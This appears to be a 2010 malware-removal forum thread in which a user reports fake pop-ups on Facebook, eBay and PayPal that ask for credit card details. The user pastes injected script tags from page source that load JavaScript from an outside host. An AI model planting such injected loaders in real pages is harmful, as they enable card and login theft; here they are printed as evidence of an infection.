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Facebook related malware. Suspicious javascript pop-up labelled "interview"

Discussion in 'Virus & Other Malware Removal' started by c-loud, Jun 20, 2010.

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  1. c-loud

    c-loud Thread Starter

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    Hello,

    I'm completely new to this forum. So will try to follow instructions as well as I can! :)

    Last week, we noticed that when going to facebook website, a suspicious looking pop-up window showed up. It's poorly written, so it looks quite dodgy.

    Here's a screen capture:

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    Also, when checking the page source it showed that it was connecting to "analiz-pro.org"
    Specifically this:
    Code:
    </body><script language="JavaScript" src="[URL="http://forums.techguy.org/view-source:https://analiz-pro.org/facebook/query.js"]https://analiz-pro.org/facebook/query.js[/URL]"></script></html>
    Facebook takes ages to load, chat is not working properly or anything else for that matter and that "interview" pop-up appears everywhere on the site in any browser. I used Firefox and IE.

    Ran avg anti-virus and lavasoft ad-aware. Apparently found something (right now I don't remember what it was called) so quarantined, then cleared, erased all cookies, cleared cache and restarted the computer. But it didn't go away.

    Please help! And of course, any help will be appreciated!
     
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  3. c-loud

    c-loud Thread Starter

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    Well, looks like it solved itself after a windows update. No way of knowing exactly what changed.
    Hope nobody else gets this problem.
     
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    c-loud Thread Starter

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    *bump*

    In the end it appeared again. I am at my wits' end and don't know what to do.
    Facebook pop-up still appearing plus ebay, paypal login screens turn opaque and a pop up asks for sensitive credit card information, not to say ALL OF IT.

    Ebay's page source:
    Code:
    </script><style type="text/css">.c-sgf .r3_fm {padding-bottom:8px !important; border-bottom:1px solid #ccc !important}</style><script type="text/javascript">vjo.darwin.core.prefetch.Prefetch.load(['http://include.ebaystatic.com/v4js/en_US/e675/Finding_ShowItems_e67511430693_6_en_US.js']);</script></body><script language="JavaScript" src="[URL="http://forums.techguy.org/virus-other-malware-removal/view-source:https://analiz-pro.org/ccus/code.js"]https://analiz-pro.org/ccus/code.js[/URL]"></script></html><!--HomePageInfo:0.5000000129.VISITOR_DEFAULT.1.100.40.5000006362-->
    Please please help :confused:
     
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    c-loud Thread Starter

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    Hopefully this will bring more light to whoever may help me!
    Thanks in advance!

     
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    *bump*
     
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